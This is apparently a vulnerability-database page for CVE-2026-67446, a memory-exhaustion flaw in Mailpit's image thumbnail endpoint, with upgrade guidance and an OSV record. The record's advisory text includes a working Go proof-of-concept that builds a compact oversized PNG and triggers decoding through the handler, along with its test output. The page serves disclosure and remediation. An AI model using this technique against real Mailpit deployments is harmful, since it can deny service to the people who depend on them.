CVE-2026-67446: Mailpit Thumbnail Generation Decodes Unbounded Image Vulnerability
HIGHCVE-2026-67446 is a HIGH (CVSS 7.5) thumbnail generation decodes unbounded image vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Mailpit libraries in the Go ecosystem. The issue involves thumbnail generation decodes unbounded image dimensions before scaling. Remediation is available by upgrading affected packages to version 1.30.4.
CVE-2026-67446 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2026-67446
To remediate this vulnerability, upgrade all affected Mailpit dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/axllent/mailpit to 1.30.4
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/axllent/mailpit
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-67446, inspect your project dependencies for Mailpit:
inspect dependencies for github.com/axllent/mailpit
Analyze the terminal output to locate any version of Mailpit in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.30.4), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Mailpit, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-67446 Affected Mailpit Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/axllent/mailpit
|
Go |
< 1.30.4
|
1.30.4
|
References
Frequently Asked Questions
What is CVE-2026-67446?
Which Mailpit versions are affected?
What version fixes CVE-2026-67446?
Is github.com/axllent/mailpit affected?
What is the CVSS score of CVE-2026-67446?
What CWE is associated with CVE-2026-67446?
How can I check Go dependencies for CVE-2026-67446?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-75mr-qw9x-3r39",
"modified" : "2026-09-02T23:39:08Z",
"published" : "2026-09-02T23:39:08Z",
"aliases" : [ "CVE-2026-67446" ],
"summary" : "Mailpit: Thumbnail generation decodes unbounded image dimensions before scaling",
"details" : "## Summary\n\nMailpit's thumbnail endpoint decodes attacker-supplied image attachments into a full raster before checking any decoded-pixel, dimension, or memory budget. A remote client that can store an email and reach the default web API can supply a compact high-dimension image, then request `/api/v1/message/{id}/part/{partID}/thumb` to force server-side memory and CPU work far larger than the encoded attachment size before Mailpit returns a 180x120 thumbnail.\n\n## Technical Details\n\nThe route is registered as `GET /api/v1/message/{id}/part/{partID}/thumb` in `server/server.go`. The handler in `server/apiv1/thumbnails.go` loads the requested attachment and accepts any part whose content type begins with `image/`:\n\n```go\na, err := storage.GetAttachmentPart(id, partID)\n// ...\nif !strings.HasPrefix(a.ContentType, \"image/\") {\n blankImage(a, w)\n return\n}\n\nbuf := bytes.NewBuffer(a.Content)\nimg, err := imaging.Decode(buf, imaging.AutoOrientation(true))\n```\n\n`storage.GetAttachmentPart()` reparses the stored raw email and returns the matching attacker-supplied attachment bytes. `Thumbnail()` then calls `imaging.Decode()` before any check on declared dimensions or estimated decoded bytes. The subsequent `imaging.Fill(img, 180, 120, ...)`, `imaging.Clone()`, and JPEG encode only happen after the full image has already been decoded.\n\nThe thumbnail output is fixed at 180x120, so the endpoint does not need to decode arbitrarily large rasters. The current implementation lets a small compressed PNG declare large dimensions and expand to tens or hundreds of MiB of decoded pixels before scaling. The default message-size controls do not stop this class: they bound encoded message/attachment bytes, while this issue is encoded-size to decoded-raster amplification after storage.\n\nThe UI also naturally reaches this endpoint for image attachments. `server/ui-src/components/message/MessageAttachments.vue` uses `/api/v1/message/{message.ID}/part/{part.PartID}/thumb` as the `<img src>` for image attachments, so opening an affected message in the web UI can trigger the decode path. A client with API access can also call the endpoint directly.\n\n## PoV\n\nThe following test creates a valid all-zero RGBA PNG by streaming compressed scanlines, so the generator does not need to allocate the full source image. It then exercises both the direct decode/scale operation and the real handler path: store an email with the PNG attachment, resolve the actual `PartID`, and call `Thumbnail()`.\n\nThe oversized case uses a 4096x4096 image. That is intentionally bounded for safe local reproduction, but it is enough to show a 65,301-byte encoded PNG becoming an estimated 67,108,864-byte decoded RGBA raster before thumbnail scaling. The negative control is a 16x16 PNG.\n\n```go\npackage apiv1\n\nimport (\n \"bytes\"\n \"compress/zlib\"\n \"encoding/base64\"\n \"encoding/binary\"\n \"fmt\"\n \"hash/crc32\"\n \"net/http\"\n \"net/http/httptest\"\n \"path/filepath\"\n \"strings\"\n \"testing\"\n\n \"github.com/axllent/mailpit/config\"\n \"github.com/axllent/mailpit/internal/logger\"\n \"github.com/axllent/mailpit/internal/storage\"\n \"github.com/kovidgoyal/imaging\"\n)\n\nfunc pngChunk(kind string, data []byte) []byte {\n var out bytes.Buffer\n _ = binary.Write(&out, binary.BigEndian, uint32(len(data)))\n out.WriteString(kind)\n out.Write(data)\n crc := crc32.NewIEEE()\n crc.Write([]byte(kind))\n crc.Write(data)\n _ = binary.Write(&out, binary.BigEndian, crc.Sum32())\n return out.Bytes()\n}\n\nfunc solidRGBApng(width, height int) []byte {\n var out bytes.Buffer\n out.Write([]byte{0x89, 'P', 'N', 'G', '\\r', '\\n', 0x1a, '\\n'})\n ihdr := make([]byte, 13)\n binary.BigEndian.PutUint32(ihdr[0:4], uint32(width))\n binary.BigEndian.PutUint32(ihdr[4:8], uint32(height))\n ihdr[8] = 8\n ihdr[9] = 6\n out.Write(pngChunk(\"IHDR\", ihdr))\n var compressed bytes.Buffer\n zw := zlib.NewWriter(&compressed)\n row := make([]byte, 1+width*4)\n for i := 0; i < height; i++ {\n _, _ = zw.Write(row)\n }\n _ = zw.Close()\n out.Write(pngChunk(\"IDAT\", compressed.Bytes()))\n out.Write(pngChunk(\"IEND\", nil))\n return out.Bytes()\n}\n\nfunc TestThumbnailDecodeDimensionAmplificationPoV(t *testing.T) {\n for _, tc := range []struct {\n name string\n width int\n height int\n }{\n {name: \"negative-control\", width: 16, height: 16},\n {name: \"oversized-attachment\", width: 4096, height: 4096},\n } {\n t.Run(tc.name, func(t *testing.T) {\n payload := solidRGBApng(tc.width, tc.height)\n img, err := imaging.Decode(bytes.NewReader(payload), imaging.AutoOrientation(true))\n if err != nil {\n t.Fatalf(\"decode failed: %v\", err)\n }\n thumb := imaging.Fill(img, thumbWidth, thumbHeight, imaging.Center, imaging.Lanczos)\n if thumb.Bounds().Dx() != thumbWidth || thumb.Bounds().Dy() != thumbHeight {\n t.Fatalf(\"unexpected thumbnail bounds: %v\", thumb.Bounds())\n }\n decodedRGBA := tc.width * tc.height * 4\n t.Logf(\"%s: encoded_png_bytes=%d decoded_rgba_bytes=%d dimensions=%dx%d amplification=%.1fx\", tc.name, len(payload), decodedRGBA, tc.width, tc.height, float64(decodedRGBA)/float64(len(payload)))\n })\n }\n}\n\nfunc TestThumbnailHandlerDimensionAmplificationPoV(t *testing.T) {\n logger.NoLogging = true\n config.Database = filepath.Join(t.TempDir(), \"mailpit.db\")\n config.Compression = 0\n config.TenantID = \"\"\n config.MaxMessages = 0\n if err := storage.InitDB(); err != nil {\n t.Fatalf(\"InitDB failed: %v\", err)\n }\n defer storage.Close()\n\n for _, tc := range []struct {\n name string\n width int\n height int\n }{\n {name: \"negative-control\", width: 16, height: 16},\n {name: \"oversized-attachment\", width: 4096, height: 4096},\n } {\n t.Run(tc.name, func(t *testing.T) {\n payload := solidRGBApng(tc.width, tc.height)\n raw := []byte(fmt.Sprintf(\"From: sender@example.test\\r\\nTo: victim@example.test\\r\\nSubject: %s\\r\\nMIME-Version: 1.0\\r\\nContent-Type: multipart/mixed; boundary=\\\"pov-boundary\\\"\\r\\n\\r\\n--pov-boundary\\r\\nContent-Type: text/plain\\r\\n\\r\\nbody\\r\\n--pov-boundary\\r\\nContent-Type: image/png; name=\\\"pov.png\\\"\\r\\nContent-Disposition: attachment; filename=\\\"pov.png\\\"\\r\\nContent-Transfer-Encoding: base64\\r\\n\\r\\n%s\\r\\n--pov-boundary--\\r\\n\", tc.name, wrapBase64(payload)))\n id, err := storage.Store(&raw, nil)\n if err != nil {\n t.Fatalf(\"Store failed: %v\", err)\n }\n msg, err := storage.GetMessage(id)\n if err != nil {\n t.Fatalf(\"GetMessage failed: %v\", err)\n }\n if len(msg.Attachments) != 1 {\n t.Fatalf(\"attachments=%d, want 1\", len(msg.Attachments))\n }\n req := httptest.NewRequest(http.MethodGet, \"/api/v1/message/\"+id+\"/part/\"+msg.Attachments[0].PartID+\"/thumb\", nil)\n req.SetPathValue(\"id\", id)\n req.SetPathValue(\"partID\", msg.Attachments[0].PartID)\n rr := httptest.NewRecorder()\n Thumbnail(rr, req)\n if rr.Code != http.StatusOK {\n t.Fatalf(\"Thumbnail status=%d body=%q\", rr.Code, rr.Body.String())\n }\n if ct := rr.Header().Get(\"Content-Type\"); ct != \"image/jpeg\" {\n t.Fatalf(\"Content-Type=%q, want image/jpeg\", ct)\n }\n decodedRGBA := tc.width * tc.height * 4\n t.Logf(\"%s handler path: stored_png_bytes=%d decoded_rgba_bytes=%d dimensions=%dx%d amplification=%.1fx thumbnail_jpeg_bytes=%d\", tc.name, len(payload), decodedRGBA, tc.width, tc.height, float64(decodedRGBA)/float64(len(payload)), rr.Body.Len())\n })\n }\n}\n\nfunc wrapBase64(b []byte) string {\n encoded := base64.StdEncoding.EncodeToString(b)\n var lines []string\n for len(encoded) > 76 {\n lines = append(lines, encoded[:76])\n encoded = encoded[76:]\n }\n if encoded != \"\" {\n lines = append(lines, encoded)\n }\n return strings.Join(lines, \"\\r\\n\")\n}\n```\n\n## PoC\n\nFrom a Mailpit checkout, save the test above as `server/apiv1/thumbnail_dimension_pov_test.go` and run:\n\n```fish\ndocker run --rm -v \"$PWD:/src\" -w /src golang:1.25 go test ./server/apiv1 -run 'TestThumbnail.*DimensionAmplificationPoV' -v\n```\n\nOn current `develop` commit `cd7661fd5b23cce1e218b583b21e157cfa612051`, the relevant output is:\n\n```text\n=== RUN TestThumbnailDecodeDimensionAmplificationPoV\n=== RUN TestThumbnailDecodeDimensionAmplificationPoV/negative-control\n thumbnail_dimension_pov_test.go:77: negative-control: encoded_png_bytes=78 decoded_rgba_bytes=1024 dimensions=16x16 amplification=13.1x\n=== RUN TestThumbnailDecodeDimensionAmplificationPoV/oversized-attachment\n thumbnail_dimension_pov_test.go:77: oversized-attachment: encoded_png_bytes=65301 decoded_rgba_bytes=67108864 dimensions=4096x4096 amplification=1027.7x\n--- PASS: TestThumbnailDecodeDimensionAmplificationPoV (0.22s)\n=== RUN TestThumbnailHandlerDimensionAmplificationPoV\n=== RUN TestThumbnailHandlerDimensionAmplificationPoV/negative-control\n thumbnail_dimension_pov_test.go:130: negative-control handler path: stored_png_bytes=78 decoded_rgba_bytes=1024 dimensions=16x16 amplification=13.1x thumbnail_jpeg_bytes=977\n=== RUN TestThumbnailHandlerDimensionAmplificationPoV/oversized-attachment\n thumbnail_dimension_pov_test.go:130: oversized-attachment handler path: stored_png_bytes=65301 decoded_rgba_bytes=67108864 dimensions=4096x4096 amplification=1027.7x thumbnail_jpeg_bytes=977\n--- PASS: TestThumbnailHandlerDimensionAmplificationPoV (0.55s)\nPASS\nok \tgithub.com/axllent/mailpit/server/apiv1\t0.781s\n```\n\nThe same test against `v1.30.3` commit `6acf5b8f942ab0e007b1227d31dfb3c3303e8d13` prints the same amplification:\n\n```text\n=== RUN TestThumbnailDecodeDimensionAmplificationPoV\n=== RUN TestThumbnailDecodeDimensionAmplificationPoV/negative-control\n thumbnail_dimension_pov_test.go:77: negative-control: encoded_png_bytes=78 decoded_rgba_bytes=1024 dimensions=16x16 amplification=13.1x\n=== RUN TestThumbnailDecodeDimensionAmplificationPoV/oversized-attachment\n thumbnail_dimension_pov_test.go:77: oversized-attachment: encoded_png_bytes=65301 decoded_rgba_bytes=67108864 dimensions=4096x4096 amplification=1027.7x\n--- PASS: TestThumbnailDecodeDimensionAmplificationPoV (0.23s)\n=== RUN TestThumbnailHandlerDimensionAmplificationPoV\n=== RUN TestThumbnailHandlerDimensionAmplificationPoV/negative-control\n thumbnail_dimension_pov_test.go:130: negative-control handler path: stored_png_bytes=78 decoded_rgba_bytes=1024 dimensions=16x16 amplification=13.1x thumbnail_jpeg_bytes=977\n=== RUN TestThumbnailHandlerDimensionAmplificationPoV/oversized-attachment\n thumbnail_dimension_pov_test.go:130: oversized-attachment handler path: stored_png_bytes=65301 decoded_rgba_bytes=67108864 dimensions=4096x4096 amplification=1027.7x thumbnail_jpeg_bytes=977\n--- PASS: TestThumbnailHandlerDimensionAmplificationPoV (0.56s)\nPASS\nok \tgithub.com/axllent/mailpit/server/apiv1\t0.805s\n```\n\nThe `negative-control` case shows ordinary thumbnail generation still works. The `oversized-attachment` handler case shows the real endpoint path storing a compact image attachment and returning a thumbnail only after decoding a much larger raster.\n\n## Impact\n\nAn unauthenticated remote client can affect availability when Mailpit is deployed with the default unauthenticated HTTP API and SMTP/Send API reachable on the network. The client can store a compact high-dimension image attachment, discover the message and attachment IDs through the API, and repeatedly request the thumbnail endpoint to force decoded image allocation and scaling work. Opening the affected message in the Mailpit UI can also trigger the thumbnail request for image attachments.\n\nThe safe PoV uses 4096x4096 dimensions and already reaches about 64 MiB of decoded RGBA data from a 65 KB PNG. Larger dimensions remain within the default encoded message-size envelope and can raise the decoded memory pressure further. The practical result is memory/CPU pressure and possible process instability or denial of service, especially with concurrent thumbnail requests.\n\n## Suggested Fix\n\nReject oversized thumbnails before full image decode. Decode only the image configuration/header first where possible, compute a conservative decoded-pixel or decoded-byte estimate, and reject dimensions above the thumbnail budget before calling `imaging.Decode()` or applying EXIF auto-orientation. For example, a thumbnail endpoint that only emits 180x120 output could reject images above a fixed pixel cap such as a few megapixels, or make the cap configurable.\n\nApply the cap to all supported image formats and to both inline and regular attachments returned by `GetAttachmentPart()`. Preserve the existing blank-thumbnail fallback for rejected or unsupported inputs, or return a clear 400 response for images rejected because their decoded size exceeds the configured limit. Add regression tests for a normal small image, a high-dimension compressed image, and a malformed `image/*` attachment.\n\n## Affected Package/Versions\n\nConfirmed affected:\n\n- Current `develop`: `cd7661fd5b23cce1e218b583b21e157cfa612051`\n- Latest release: `v1.30.3`, tag commit `6acf5b8f942ab0e007b1227d31dfb3c3303e8d13`, published 2026-06-27\n\n## Advisory History\n\nThe closest published Mailpit advisories are the resource-consumption reports `GHSA-fpxj-m5q8-fphw` and `GHSA-28pq-6qxg-wg5r`. `GHSA-fpxj-m5q8-fphw` covers unlimited SMTP DATA and `/api/v1/send` body sizes, while `GHSA-28pq-6qxg-wg5r` covers unbounded JSON bodies on sibling API endpoints. This report is different: the request body can be small or absent at thumbnail time, and the expensive work is decoded image allocation from a stored attachment before 180x120 thumbnail scaling.\n\nOther published Mailpit advisories checked were `GHSA-w4vj-r5pg-3722` for proxy CSS map concurrency, `GHSA-qx5x-85p8-vg4j` for dump path traversal, `GHSA-54wq-72mp-cq7c` for SMTP header injection, `GHSA-524m-q5m7-79mm` for CSWSH, and the SSRF/proxy/link-check/html-check family `GHSA-8v65-47jx-7mfr`, `GHSA-mpf7-p9x7-96r3`, `GHSA-6jxm-fv7w-rw5j`, `GHSA-j3fj-qppj-fmmc`, and `GHSA-w4mc-hhc6-xp28`. None describe decoded thumbnail image dimensions or pixel-budget enforcement.\n\nPublic issue searches in `axllent/mailpit` for thumbnail/image memory, `imaging Decode thumbnail`, and image attachment thumbnail DoS terms found no matching issue. A commit search found `b9f36312d750bdc59497a08fd9f4039925afd54e`, \"Fix: Avoid error on image type assertion in thumbnail generation\"; that commit fixes a non-NRGBA type assertion/panic case and does not add a decoded-pixel or dimension guard. No prior submitted, ready-for-review, or completed-but-unsubmitted Mailpit report available in the review materials matched this root cause.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/axllent/mailpit"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.30.4"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 1.30.3"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/axllent/mailpit/security/advisories/GHSA-75mr-qw9x-3r39"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-67446"
}, {
"type" : "WEB",
"url" : "https://github.com/axllent/mailpit/commit/6bcb6337838b542d53c348e38c7977f569b6db35"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/axllent/mailpit"
}, {
"type" : "WEB",
"url" : "https://github.com/axllent/mailpit/releases/tag/v1.30.4"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-400", "CWE-770" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-09-02T23:39:08Z",
"nvd_published_at" : "2026-08-20T21:17:07Z"
}
}